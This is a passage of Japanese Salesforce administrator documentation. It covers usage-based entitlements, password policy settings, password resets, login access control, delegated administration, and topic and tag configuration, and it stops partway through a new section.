使用量ベースのエンタイトルメント

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用量ベースのエンタイトルメントは、パートナーコミュニティへの月ごとに
許可されるログイン数や Data.com リストユーザのレコード制限など、組織が定
期的に使用できる制限付きリソースです。
一部のエンタイトルメントは永続的です。これらのエンタイトルメントにより、
Salesforce 組織にはリソースの数的設定が与えられ、契約が変更されない限り使
用できる量は変わりません。たとえば、貴社がパートナーコミュニティにアク
セスするメンバーの毎月の登録人数を 50 名分購入する場合、コミュニティに何
度でもログインできる権限を最大 50 名の個人ユーザに割り当てられます。
他のエンタイトルメントは永続的ではなく、クレジットのように使用されます。
組織は、リソースの頻度で示される期間で、そのエンタイトルメントについて
許可される量まで使用できます。エンタイトルメントの頻度が [1 回] の場合、組織は追加のリソースを購入し
て許容量を補充する必要があります。エンタイトルメントの頻度が [毎月] の場合、月の開始と終了は、カレン
ダー月ではなく契約により決定されます。
次に例を示します。
• 会社 A は、パートナーコミュニティ用に毎月 50 回のログインを購入し、1 月 15 日に 50 回分のログインが組

織にプールされます。ユーザがログインするたびに、1 回分のログインが消費されます。2 月 15 日には、前
月何回分が使用されたかに関係なく、プール数が更新され、50 回分のログインが 3 月 14 日まで使用可能に
なります。
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• 会社 B は、5 月 15 日の終了日で Data.com リストユーザの 2,000 レコードを購入します。この組織のリストユー
ザは、終了日まで最大で 2,000 レコードを追加またはエクスポートできます。5 月 15 日の前に組織がこの制
限に達した場合、Data.com リストユーザはレコードをそれ以上追加またはエクスポートできなくなります。
会社 B は、そのリソースの追加の許容量を購入して、ユーザのブロックを解除できます。

メモ: 同じ [リソース] を使用する複数の契約が組織に存在しており、[リソース ID] が (tenant) の場
合、そのエンタイトルメントに対して 1 行しか表示されませんが、その行のデータには複数の契約が反映
されます。この場合、[開始日]には複数の契約の中で最も早い開始日が反映され、[終了日]には複数の
契約の中で最も遅い終了日が反映されます。

機能ライセンスと同様に、使用量ベースのエンタイトルメントによってSalesforceで実行できる内容は制限され
ません。使用量ベースのエンタイトルメントは、実用性に対して付加される要素です。使用量が許容量を超え
ると、契約への追加事項について話し合うために Salesforce から連絡があります。

Salesforce 組織の使用量ベースのエンタイトルメントの表示
組織に割り当てられているリソースを調べるために、会社の使用量ベースのエンタイトルメントを見てみ
ましょう。
使用量ベースのエンタイトルメント項目
[使用量ベースのエンタイトルメント] 関連リストには、次の情報が表示されます。これらの項目は編集す
ることはできず、Salesforce 組織にリソースが割り当てられている場合にのみ表示されます。

関連トピック:

Salesforce での会社の設定
ユーザの表示および管理

Salesforce 組織の使用量ベースのエンタイトルメントの表示

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

使用量ベースのエンタイ
トルメントを表示する
• 「設定・定義を参照す

る」

組織に割り当てられているリソースを調べるために、会社の使用量ベースのエ
ンタイトルメントを見てみましょう。
1. [設定] から、[クイック検索] ボックスに「組織情報」と入力し、[組織情報]

を選択します。
2. [組織情報] ページの下部にある [使用量ベースのエンタイトルメント] 関連リ

ストを表示します。

関連トピック:

使用量ベースのエンタイトルメント
使用量ベースのエンタイトルメント項目
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使用量ベースのエンタイトルメント項目

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

[使用量ベースのエンタイトルメント] 関連リストには、次の情報が表示されま
す。これらの項目は編集することはできず、Salesforce 組織にリソースが割り当
てられている場合にのみ表示されます。

説明列の名前

会社で使用できるリソース。リソース

この品目の固有識別子。リソース ID

契約の開始日。開始日

メモ: 該当のリソースに影響する
契約が複数ある場合、この項目
には契約の中で最も早い開始日
が反映されます。

契約の終了日。終了日

メモ: 該当のリソースに影響する
契約が複数ある場合、この項目
には契約の中で最も遅い終了日
が反映されます。

[毎月] の場合、[許容量]は毎月初めに
リセットされます。
[1 回] の場合、[許容量]は [終了日]ま
で使用できます。

頻度

組織で使用できるリソース量。[頻度]

が [毎月] の場合、月は [開始日] に開
始します。

許容量

組織で使用中のこのリソースの量。使用量

このリソースの組織の使用量のスナッ
プショットを Salesforceで最後に作成し
た日時。

最終更新

組織に割り当てられているリソースについての詳細は、Salesforce にお問い合わせください。

関連トピック:

使用量ベースのエンタイトルメント
Salesforce 組織の使用量ベースのエンタイトルメントの表示
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パスワード
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

パスワードポリシーを使
用可能なエディション: す
べてのエディション

ユーザ権限

パスワードポリシーを設
定する
• 「パスワードポリシー

の管理」

ユーザパスワードをリ
セットしてユーザをロッ
ク解除する
• 「ユーザパスワードの

リセットおよびユーザ
のロック解除」

Salesforce では、組織の各ユーザに一意のユーザ名とパスワードを提供します。
ユーザは、ログインするたびにこのユーザ名とパスワードを入力する必要があ
ります。システム管理者は、いくつかの設定を使用して、ユーザのパスワード
が強固で安全なものとなるように設定できます。
• パスワードポリシー — すべてのユーザのパスワードが期限切れになるまで

の時間や、パスワードに要求される複雑さのレベルなど、パスワードとログ
インのさまざまなポリシーを設定します。「パスワードポリシーの設定」
(ページ 991)を参照してください。

• ユーザパスワードの期限切れ — 「パスワード無期限」権限のあるユーザを
除いて、組織内のすべてのユーザのパスワードを期限切れにします。「すべ
てのユーザのパスワードのリセット」 (ページ 995)を参照してください。

• ユーザパスワードリセット — 指定したユーザのパスワードをリセットしま
す。「ユーザのパスワードのリセット」 (ページ 556)を参照してください。

• ログイン試行とロックアウト期間 — ログインに失敗した回数が多すぎてユー
ザがSalesforceからロックアウトされた場合、それらのユーザをロック解除で
きます。「ユーザの編集」 (ページ 494)を参照してください。

パスワード要件
パスワードにはユーザ名を使用できません。また、パスワードをユーザの名や
姓と同じにすることはできません。簡単すぎるパスワードも使用できません。
たとえば、ユーザはパスワードを password に変更することはできません。
新規組織には、すべてのエディションで次のデフォルトのパスワード要件が課されます。これらのパスワード
ポリシーは、Personal Edition を除くすべてのエディションで変更できます。
• パスワードには、1 つの英字と 1 つの数字が含まれる 8 文字以上の文字を使用する必要があります。
• セキュリティの質問に対する回答にユーザのパスワードを含めることはできません。
• ユーザがパスワードを変更する場合、最後の 3 回分のパスワードは再利用できません。

パスワードポリシーの設定
パスワード保護を実装して Salesforce 組織のセキュリティを強化します。パスワード履歴、パスワード長、
パスワード文字列の制限やその他の値を設定できます。また、ユーザがパスワードを忘れた場合の操作も
指定できます。
ユーザのパスワードのリセット
システム管理者は、保護を強化する場合や、ロックアウトされたユーザのロックを解除する場合にユーザ
のパスワードをリセットできます。

551

パスワードSalesforce 組織の設定および管理



すべてのユーザのパスワードのリセット
システム管理者は、組織のセキュリティを強化するために、すべてのユーザのパスワードをいつでもリセッ
トができます。パスワードのリセット後、すべてのユーザは次回ログインするときにパスワードをリセッ
トするように求められます。

関連トピック:

パスワードの変更

パスワードポリシーの設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

パスワードポリシーを設
定する
• 「パスワードポリシー

の管理」

パスワード保護を実装してSalesforce組織のセキュリティを強化します。パスワー
ド履歴、パスワード長、パスワード文字列の制限やその他の値を設定できます。
また、ユーザがパスワードを忘れた場合の操作も指定できます。
組織のセキュリティを確保するために、さまざまなパスワードおよびログイン
のポリシーを設定できます。

メモ: ユーザパスワードは 16,000 バイトを超えてはいけません。
ログイン数は 1 ユーザにつき 1 時間あたり 3,600 に制限されます。この制限
は、Summer '08 後に作成された組織に適用されます。

1. [設定] から、[クイック検索] ボックスに「パスワードポリシー」と入力し、
[パスワードポリシー] を選択します。

2. パスワード設定をカスタマイズします。

説明項目

ユーザパスワードが失効し、変更す
る必要が生じるまでの期間。デフォ
ルトは 90 日です。この設定は、セル
フサービスポータルでは使用できま
せん。この設定は、「パスワード無
期限」権限を持つユーザには適用さ
れません。
[パスワードの有効期間] 設定を変更
した場合に、ユーザの新しい有効期

パスワードの有効期間

限が古い有効期限よりも前になると
き、または [無期限]を選択して有効
期限が排除されるときは、変更がそ
のユーザのパスワード期限に影響し
ます。

ユーザの過去のパスワードを保存し
て、新しく設定されるパスワードが

過去のパスワードの利用制限回数

固有のパスワードになるようにしま
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説明項目

す。パスワード履歴は、この値を設定しない限り保
存されません。デフォルトは [3 回前のパスワード
まで使用不可] です。[パスワードの有効期間] 項目
に [無期限] を選択した場合を除き、[制限なし] を
選択できません。この設定は、セルフサービスポー
タルでは使用できません。

パスワードに必要な最小限の文字数。この値を設定
しても、既存のユーザのパスワードには影響しませ

最小パスワード長

ん。次回のパスワードの変更時に適用されます。デ
フォルトは [8 文字以上] です。

ユーザのパスワードとして使用できる文字の種別の
要件。
複雑性レベル:

パスワード文字列の制限

• 制限なし  — 任意のパスワード値を許可します。
最も安全性の低いオプションです。

• 英・数字両方含める  — 少なくとも 1 つの英字と 1

つの数字を使用する必要があります (デフォル
ト)。

• 英字、数字、および特殊文字を組み合わせて使用す
る必要があります  — 少なくとも 1 つの英字、1 つ
の数字、および ! # $ % - _ = + < > のうち
1 つの特殊文字を使用する必要があります。

• 数字、大文字および小文字をすべて含める  — 少な
くとも 1 つの数字、1 つの英大文字、および 1 つ
の英小文字を使用する必要があります。

• 数字、大文字、小文字、および特殊文字をすべて含
める  — 少なくとも 1 つの数字、1 つの英大文字、
1 つの英小文字、および ! # $ % - _ = + <

>のうち 1 つの特殊文字を使用する必要がありま
す。

メモ: 上記の特殊文字のみが要件を満たしま
す。他の記号文字は特殊文字とはみなされま
せん。

値は、パスワードヒントの質問に対する回答にパス
ワードそのものを含めることはできないことを意味

パスワード質問の制限

する [パスワードを含めないこと]、またはデフォル
トの [なし] です。回答に制限はありません。パス
ワードヒントの質問に対するユーザの回答は必須で
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説明項目

す。この設定は、セルフサービスポータル、カスタ
マーポータル、またはパートナーポータルでは使用
できません。

ログイン失敗が許される回数。この回数を超える
と、そのユーザはロックアウトされ、ログインでき

ログイン失敗によりロックするまでの回数

なくなります。この設定は、セルフサービスポータ
ルでは使用できません。

ロックアウトが解除されるまでの所要時間。デフォ
ルトは 15 分です。この設定は、セルフサービスポー
タルでは使用できません。

ロックアウトの有効期間

メモ: ユーザがロックアウトされた場合、その
ユーザはロックアウト期間の期限が切れるま
で待機する必要があります。「ユーザパスワー
ドのリセットおよびユーザのロック解除」権
限を持つユーザについては、[設定] から次の
手順を実行してロックを解除できます。
a. [クイック検索] ボックスに「ユーザ」と入

力します。
b. [ユーザ] を選択します。
c. ユーザを選択します。
d. [ロック解除] をクリックします。

このボタンは、ユーザがロックアウトされ
ている場合にのみ表示されます。

この機能により、セキュリティの質問に対する回答
を、入力と同時に非表示にします。デフォルトで
は、回答がプレーンテキストで表示されます。

パスワードのリセットの秘密の回答を非表示にする

メモ: 入力モードがひらがなに設定された
Microsoft Input Method Editor (IME) を組織で使用し
ている場合、通常のテキスト項目で ASCII 文字
を入力すると、日本語文字に変換されます。
ただし、IME は伏せ字のテキストを含む項目で
は適切に動作しません。この機能を有効にし
た後で組織のユーザがパスワードまたはその
他の値を正しく入力できない場合は、機能を
無効にしてください。

このオプションを選択すると、パスワードを 24 時間
以内に複数回変更できなくなります。

パスワードの有効期限は 1 日以上にする必要があり
ます
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3. パスワードを忘れた場合とアカウントがロックされた場合の支援情報をカスタマイズします。

メモ: この設定は、セルフサービスポータル、カスタマーポータル、またはパートナーポータルでは
使用できません。

説明項目

設定すると、「パスワードをリセットできません」
メールにこのメッセージが表示されます。パスワー

メッセージ

ドのリセット試行回数が上限を超えてロックアウト
されると、ユーザにこのメールが送信されます。こ
のテキストは、ユーザがパスワードをリセットする
ときに [セキュリティの質問への回答] ページの下部
にも表示されます。
社内のヘルプデスクやシステム管理者の名前を追加
することで、テキストを組織に合わせて調整できま
す。メールの場合、このメッセージは、システム管
理者がパスワードをリセットする必要があるアカウ
ントにのみ表示されます。時間制限によるロックア
ウトの場合は、別のシステムメールメッセージが表
示されます。

設定すると、このリンクは、[メッセージ]項目に定
義されているテキストと共に表示されます。「パス

ヘルプリンク

ワードをリセットできません」メールに、[ヘルプ
リンク] 項目に入力されたとおりの URL が表示され
るため、ユーザにもリンク先がどこかがわかりま
す。ユーザは Salesforce 組織内ではないため、この
URL 表示形式はセキュリティ上の機能です。
[セキュリティの質問への回答] ページで、[ヘルプリ
ンク]  URL が [メッセージ] 項目のテキストと組み合
わされて、クリック可能なリンクとなります。パス
ワードを変更するときにはユーザがSalesforce組織内
にいるので、セキュリティ上の問題はありません。
有効なプロトコル:

• http

• https

• mailto

4. 「API 限定ユーザ」権限を持つユーザに対して代替ホームページを指定します。パスワードのリセットなど
のユーザ管理タスクを完了すると、API限定ユーザはログインページではなく、ここで指定した URL にリダ
イレクトされます。
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5. [保存] をクリックします。

関連トピック:

プロファイルでのパスワードポリシーの表示と編集
パスワード

ユーザのパスワードのリセット

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

パスワードをリセットす
る
• 「ユーザパスワードの

リセットおよびユーザ
のロック解除」

または

ユーザインターフェー
スまたは API を使用し
てユーザを編集する権
限

システム管理者は、保護を強化する場合や、ロックアウトされたユーザのロッ
クを解除する場合にユーザのパスワードをリセットできます。
ユーザのパスワードをリセットする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザ名の横にあるチェックボックスを選択します。現在表示されている

ユーザ全員のパスワードを変更するには、列のヘッダーにあるチェックボッ
クスをオンにして、すべての行を選択します。

3. [パスワードのリセット] をクリックします。パスワードをリセットするため
のリンクと手順が含まれたメールがユーザに送信されます。

この方法で作成されたパスワードは期限切れにはなりませんが、初回のログイ
ン時にこのパスワードを変更する必要があります。

ヒント: この操作および他の管理タスクは、SalesforceA モバイルアプリケー
ションから実行できます。

パスワードのリセットに関する考慮事項
• システム管理者のみがシングルサインオンユーザのパスワードをリセットで

きます。シングルサインオンユーザは自分のパスワードをリセットできませ
ん。

• パスワードのリセット後、ユーザが正常に Salesforce にログインするために
は、コンピュータの有効化が必要な場合があります。

• ロックアウトされたユーザのパスワードをリセットすると、ユーザのアカウ
ントも自動的にロック解除されます。

• パスワードを忘れた場合、ユーザはログインページで [パスワードを忘れた
場合] リンクをクリックして、パスワードをリセットする手順が記載された
メールを受け取ることができます。パスワードをリセットするには、ユーザはセキュリティの質問に正し
く答える必要があります。[パスワードポリシー] で、ユーザに表示されるセキュリティの質問のページを
カスタマイズし、サポートが必要な場合の連絡先に関する情報を追加できます。

メモ: ユーザがセキュリティの質問を設定していなかった場合、またはセキュリティの質問に正しく
答えられなかった場合は、パスワードはリセットされません。
ユーザは、[パスワードを忘れた場合] リンクを使用して、24 時間で 5 回までパスワードのリセットを
要求できます。システム管理者は、必要に応じて何回でもユーザのパスワードをリセットできます。

556

パスワードSalesforce 組織の設定および管理



• パスワードをリセットすると、ユーザのセキュリティトークンもリセットされます。

関連トピック:

忘れたパスワードのリセット
パスワードの変更
セキュリティトークンのリセット
パスワード
SalesforceA を使用したあらゆる場所からのユーザサポート

すべてのユーザのパスワードのリセット

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

すべてのパスワードをリ
セットする
• 「内部ユーザの管理」

システム管理者は、組織のセキュリティを強化するために、すべてのユーザの
パスワードをいつでもリセットができます。パスワードのリセット後、すべて
のユーザは次回ログインするときにパスワードをリセットするように求められ
ます。
「パスワード無期限」権限のあるユーザ以外のすべてのユーザのパスワードを
リセットする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「すべてのユーザパスワードをリセッ

ト」と入力し、[すべてのユーザのパスワードをリセット] を選択します。
2. [すべてのユーザパスワードをリセット] を選択します。
3. [保存] をクリックします。
ユーザが次回ログインすると、パスワードをリセットするように求められます。

パスワードをリセットするときの考慮事項
• ユーザがSalesforceにログインするためには、コンピュータの有効化が必要な

場合があります。
• [すべてのユーザパスワードをリセット] は、セルフサービスポータルユーザ

には影響しません。これは、セルフサービスポータルユーザが直接のSalesforce

ユーザではないためです。

関連トピック:

パスワード
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ログインアクセスの制御
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

管理者アクセス権の付与
を使用可能なエディショ
ン: Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ログインアクセスポリ
シーを制御する
• 「ログインアクセスポ

リシーの管理」

Salesforce システム管理者のアカウントアクセス許可を求めるメッセージをユー
ザに表示するかどうか、またユーザが公開者にアクセスを許可できるかどうか
を制御します。
1. [設定] から、[クイック検索]ボックスに「ログインアクセスポリシー」と入力

し、[ログインアクセスポリシー] を選択します。
2. Salesforce システム管理者が、事前にアクセスの許可を得ることなくユーザと

して組織にログインできるようにするには、[管理者は任意のユーザでログイ
ンできます] を有効にします。
この機能を組織から削除するには、Salesforce にお問い合わせください。この
機能を削除した場合、Salesforce システム管理者がユーザのアカウントにログ
インしてトラブルシューティングを行うには、そのユーザからログインアク
セス権を付与される必要があります。

3. 規制への順守やプライバシー上の懸念などの理由からユーザが公開者にアク
セス権を与えないようにするには、その公開者の設定で [システム管理者の
みが利用可能] をクリックします。

メモ: ユーザは、ライセンスを受けている管理対象パッケージへのログ
インアクセス権をSalesforce組織全体に付与することはできません。プロ
ファイルで「ユーザの管理」権限が有効になっているシステム管理者の
みが、これらの公開者にアクセス権を付与できます。管理対象パッケー
ジにはログインアクセスできないものもあります。[ログインアクセス
ポリシー] ページのリストにパッケージが表示されていない場合は、そ
のパッケージにはログインアクセスできません。

4. [保存] をクリックします。

関連トピック:

他のユーザとしてログイン
ログインアクセスの許可
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他のユーザとしてログイン
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

他のユーザとしてログイ
ンする
• 「すべてのデータの編

集」

他のユーザを支援するために、システム管理者は他のユーザとして Salesforce に
ログインできます。組織の設定によっては、まず個人ユーザがシステム管理者
にログインアクセスを許可する必要がある場合があります。

メモ:

• セキュリティ対策として、システム管理者が他のユーザとしてログイン
している間は、そのユーザの OAuth データアクセスを承認できません。
たとえば、サードパーティアプリケーションへのシングルサインオンな
ど、ユーザアカウントへの OAuth アクセスを承認できません。

• システム管理者が「ユーザインターフェースログインの 2 要素認証」
ユーザ権限のある別のユーザとしてログインする場合、2 要素認証の要
件を満たしている必要があります。ユーザと協力して、取引先のアクセ
ス権が必要になった場合にそのユーザとしてログインできるようにしま
す。ユーザは、認証アプリケーション、U2F セキュリティキー、または
仮の ID 確認コードを使用して ID を検証する必要があります。ユーザが
まだ 2 要素認証方式を設定していない場合、そのユーザとしてログイン
する前に設定する必要があります。

1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選
択します。

2. ユーザ名の横にある [ログイン] リンクをクリックします。このリンクは、システム管理者にログインアク
セスを許可したユーザのみ、またはシステム管理者がユーザとしてログインできる組織でのみ使用できま
す。

3. 管理者アカウントに戻るには、ユーザの名前  > [ログアウト] をクリックします。

関連トピック:

ログインアクセスの制御
ログインアクセスの許可
ログイン問題のトラブルシューティング
ユーザの表示および管理
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管理任務の委任
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

代理管理作業を管理する
• 「アプリケーションの

カスタマイズ」

代理管理者になる
• 「設定・定義を参照す

る」

代理管理を使用して、組織内のシステム管理者以外のユーザに限定的な管理者
権限を割り当てることができます。たとえば、カスタマーサポートチームのマ
ネージャに、サポートマネージャロールとそのすべての下位ロールのユーザを
管理させることにします。この目的で代理管理者を作成すれば、システム管理
者が他の管理作業に専念できます。
代理管理者は次の操作を実行できます。
• 指定されたロールとそのすべての下位ロールのユーザを作成および編集する

(ユーザ編集作業には、パスワードのリセット、目標の設定、デフォルトの商
談チームの作成、そのユーザの非公開グループの作成などが含まれます)。

• ユーザをロック解除する。
• 指定したプロファイルにユーザを割り当てる。
• 代理グループのユーザの権限セットを割り当てる、または削除する。
• 公開グループを作成し、指定した公開グループのメンバーシップを管理す

る。
• システム管理者にログインアクセスを許可したユーザとしてログインする。
• カスタムオブジェクトを管理し、カスタムオブジェクトのほぼすべての面を

カスタマイズする。ただし、代理管理者がオブジェクトのリレーションを作
成または変更することや、組織の共有設定を行うことはできません。

• 代理管理者に割り当てられているすべての代理グループのユーザを管理す
る。たとえば、Sam Smith が、グループ A とグループ B という 2 つの代理グルー
プの代理管理者に指定されているとします。Sam は、グループ A の権限セットまたは公開グループをグルー
プ B のユーザに割り当てることができます。

メモ: 管理を委任するときは、次の点に注意してください。代理管理者が
• 「すべてのデータの編集」権限のあるプロファイルまたは権限セットを割り当てることはできませ

ん。
• 新規ユーザのロールを選択するときに、[未指定] オプションは表示されません。
• 数式からカスタムオブジェクトの差し込み項目にアクセスするには、これらのオブジェクトへのアク

セス権が必要です。
• 権限セットを変更できません。

特定のオブジェクトの管理を委任する場合は、代わりに「すべての参照」や「すべての編集」などのオブジェ
クト権限を使用します。

代理管理者の定義
代理管理者が、指定したロールとすべての下位ロールのユーザを管理できるようにします。指定したプロ
ファイルを該当するユーザに割り当て、システム管理者にログインアクセス権を付与したユーザとしてロ
グインできます。代理管理グループは、同じ管理権限を持つユーザのグループです。これらのグループは、
共有のために使用される公開グループとは関係ありません。
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代理管理者の定義

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

代理管理作業を管理する
• 「アプリケーションの

カスタマイズ」

代理管理者になる
• 「設定・定義を参照す

る」

代理管理者が、指定したロールとすべての下位ロールのユーザを管理できるよ
うにします。指定したプロファイルを該当するユーザに割り当て、システム管
理者にログインアクセス権を付与したユーザとしてログインできます。代理管
理グループは、同じ管理権限を持つユーザのグループです。これらのグループ
は、共有のために使用される公開グループとは関係ありません。

段階的な手順: 管理を委任する

段階的な手順: Lightning Experience で管理を委任する
1. [設定] から、[クイック検索] ボックスに「代理管理者」と入力し、[代理管理

者] を選択して、[新規] をクリックします。
2. 代理グループを選択または作成します。
3. このグループのユーザに、管理するロール階層内でユーザとしてログインす

ることを許可するには、[ログインアクセスの有効化] を選択します。組織設
定に応じて、各ユーザはシステム管理者が自分の代わりにログインできるよ
うにログインアクセス権を付与する必要があります。

4. [保存] をクリックします。
5. 関連リストごとに、[追加]をクリックして代理グループの詳細を定義します。

関連トピック:

管理任務の委任

トピックおよびタグ設定
エディション

使用可能なエディション:
Salesforce Classic

トピックおよびタグ設定
が可能なエディション: す
べてのエディション

ユーザ権限

トピックおよびタグ設定
を変更する
• 「アプリケーションの

カスタマイズ」

オブジェクトのトピックを有効にすると、ユーザはトピックをレコードに追加
し、リストビューを使用して関連項目をすばやく取得できます。Chatter が有効
化されていると、各トピック詳細ページの [レコード] タブにも関連項目を表示
できます。オブジェクトのトピックを有効にすると、そのオブジェクト種別の
レコードの公開タグが無効になります。個人タグは影響を受けません。
トピックを使用してレコードを整理するには、取引先、納入商品、キャンペー
ン、ケース、取引先責任者、契約、ファイル、リード、商談、注文、ソリュー
ション、カスタムオブジェクト、および英語の記事のトピックを有効化します。

オブジェクトのトピックの有効化と設定
オブジェクトのトピックを有効化すると、ユーザがトピックをレコードに追
加して共通のテーマでレコードを整理できます。この便利な機能は、Chatter

の有無に関係なく使用できます。
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タグの有効化
ユーザが個人タグや公開タグをほとんどのレコードに追加できるようにします。タグは単語や短い語句で
す。ユーザは各自のやり方でレコードに関連付けて、データを記述たり整理したりします。
サイドバーへのタグの追加
無効ユーザの個人タグの削除
組織では、すべてのユーザを対象に、最大 5,000,000 件の個人タグと公開タグをレコードに適用できます。
組織でこの上限数に近づいてきたら、無効化されたユーザの個人タグを削除します。

オブジェクトのトピックの有効化と設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

オブジェクトのトピック
を有効にする
• 「アプリケーションの

カスタマイズ」

オブジェクトのトピックを有効化すると、ユーザがトピックをレコードに追加
して共通のテーマでレコードを整理できます。この便利な機能は、Chatter の有
無に関係なく使用できます。
システム管理者は、取引先、納入商品、キャンペーン、ケース、取引先責任者、
契約、ファイル、リード、商談、注文、ソリューション、カスタムオブジェク
ト、英語の記事のトピックを有効化できます。オブジェクト種別ごとに、シス
テム管理者が推奨トピックに使用する項目を指定します。

メモ: トピックは、英語のナレッジ記事でのみサポートされています。

警告: オブジェクトのトピックが有効になると、そのオブジェクト種別の
レコードで公開タグが無効になります。

1. [設定] から、[クイック検索] ボックスに「オブジェクトのトピック」と入力
し、[オブジェクトのトピック] を選択します。

2. オブジェクトを選択します。
3. 右側で、[トピックを有効化] を選択します。
4. 推奨トピックに使用するテキスト項目を選択します (選択された項目を組み

合わせ、最大 3 つの推奨が最初の 2,000 文字から作成されます)。
5. [保存] をクリックしてすべてのオブジェクトの変更を保存します。
これで、有効なオブジェクトへのアクセス権と適切なトピック権限を持つユーザは、次の操作を実行できま
す。
• そのオブジェクト種別のレコードに対するトピックの割り当ておよび推奨トピックを表示する
• そのオブジェクト種別のレコードに対してトピックを追加または削除する
• オブジェクト種別のレコードに対するトピックを使用してリストビューを絞り込む
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さらに、組織でChatterを使用している場合、ユーザはレコードに割り当てられたトピックをクリックして直接
トピックページに移動できます。トピックページには、トピックに関する他のレコード、トピックに関する知
識のあるユーザ、およびその他の関連情報が表示されます。

関連トピック:

タグとトピックを使用したレコードの整理
レコードへのトピックの追加
タグとトピックを使用したレコードの整理
レコードへのトピックの追加
記事のトピックの有効化

タグの有効化

エディション

使用可能なエディション:
Salesforce Classic

タグを使用可能なエディ
ション: すべてのエディ
ション

ユーザ権限

タグ設定を変更する
• 「アプリケーションの

カスタマイズ」

ユーザが個人タグや公開タグをほとんどのレコードに追加できるようにします。
タグは単語や短い語句です。ユーザは各自のやり方でレコードに関連付けて、
データを記述たり整理したりします。
1. [設定] から、[クイック検索] ボックスに「タグ設定」と入力し、[タグ設定]

を選択します。
2. ユーザが個人タグと公開タグをレコードに追加できるようにするには、[個人

タグの有効化]と[公開タグの有効化]を選択します。タグを無効にするには、
両方のオプションを選択解除します。

3. レコード詳細ページの上部にあるタグセクションで、タグを表示するオブ
ジェクトとページレイアウトを指定します。タグセクションは、ユーザがレ
コードにタグを追加する唯一の場所です。
たとえば、取引先ページレイアウトのみを選択すると、組織のユーザは取引
先レコードにのみタグを追加できます。個人タグの取引先ページレイアウト
のみを選択し、公開タグのレイアウトは選択しない場合、ユーザが取引先レ
コードに追加することのできるタグは、個人タグのみになります。

4. [保存] をクリックします。
タグを有効にするときは、次のガイドラインに留意してください。
• レイアウトを直接編集して、ページレイアウトにタグを追加することもできます。ただし、フィードベー

スのページレイアウトにタグを追加することはできません。
• 検索結果と [タグ] ページには、カスタムオブジェクトでタグが有効化されている場合でも、関連するタブ

を含まないカスタムオブジェクトは表示されません。カスタムオブジェクトレコードを表示するには、関
連するタブを作成します。タブは、ユーザから見えるようにする必要はありません。

• ページレイアウトにタグセクションが含まれていても、カスタマーポータルユーザには表示されません。
• Chatter が無効な場合、結合レポートにタグ付けはできません。

関連トピック:

トピックおよびタグ設定
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サイドバーへのタグの追加

エディション

使用可能なエディション:
Salesforce Classic

タグを使用可能なエディ
ション: すべてのエディ
ション

ユーザ権限

タグ設定を変更する
• 「アプリケーションの

カスタマイズ」

組織でタグを有効化すると、ユーザのサイドバーに [タグ] コンポーネントを追
加できます。このコンポーネントにより、ユーザは、[タグ] ページに移動して、
タグの参照、検索、および管理ができます。また、各ユーザが最近使用したタ
グのリストを表示します。このコンポーネントを追加する手順は、次のとおり
です。
1. [設定] から、[クイック検索]ボックスに「ホームページのページレイアウト」

と入力し、[ホームページのページレイアウト] を選択します。
2. 変更するホームページレイアウトの横にある [編集] をクリックします。
3. [タグ] チェックボックスをオンにして、[次へ] をクリックします。
4. ページレイアウトの任意の場所に [タグ] コンポーネントを配置し、[保存] を

クリックします。

ヒント: [タグ] コンポーネントを [ホーム] タブだけでなくすべてのページに
表示するには、[設定] から [クイック検索] ボックスに「ユーザインター
フェース」と入力し、[ユーザインターフェース]を選択して [すべてのペー
ジにカスタムサイドバーコンポーネントを表示] を選択します。

関連トピック:

トピックおよびタグ設定

無効ユーザの個人タグの削除

エディション

使用可能なエディション:
Salesforce Classic

個人タグのクリーンアッ
プが可能なエディション:
すべてのエディション

ユーザ権限

無効ユーザの個人タグを
削除する
• 「アプリケーションの

カスタマイズ」

組織では、すべてのユーザを対象に、最大 5,000,000 件の個人タグと公開タグを
レコードに適用できます。組織でこの上限数に近づいてきたら、無効化された
ユーザの個人タグを削除します。
1. [設定] から、[クイック検索]ボックスに「個人タグをクリーンアップする」と

入力し、[個人タグをクリーンアップする] を選択します。
2. 無効化されたユーザを選択し、[削除] をクリックします。
個人タグを削除した後は復元できません。

関連トピック:

トピックおよびタグ設定
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ユーザのアクセス権の制御

エディション

使用可能なエディション:
Salesforce Classic

使用できるデータ管理オ
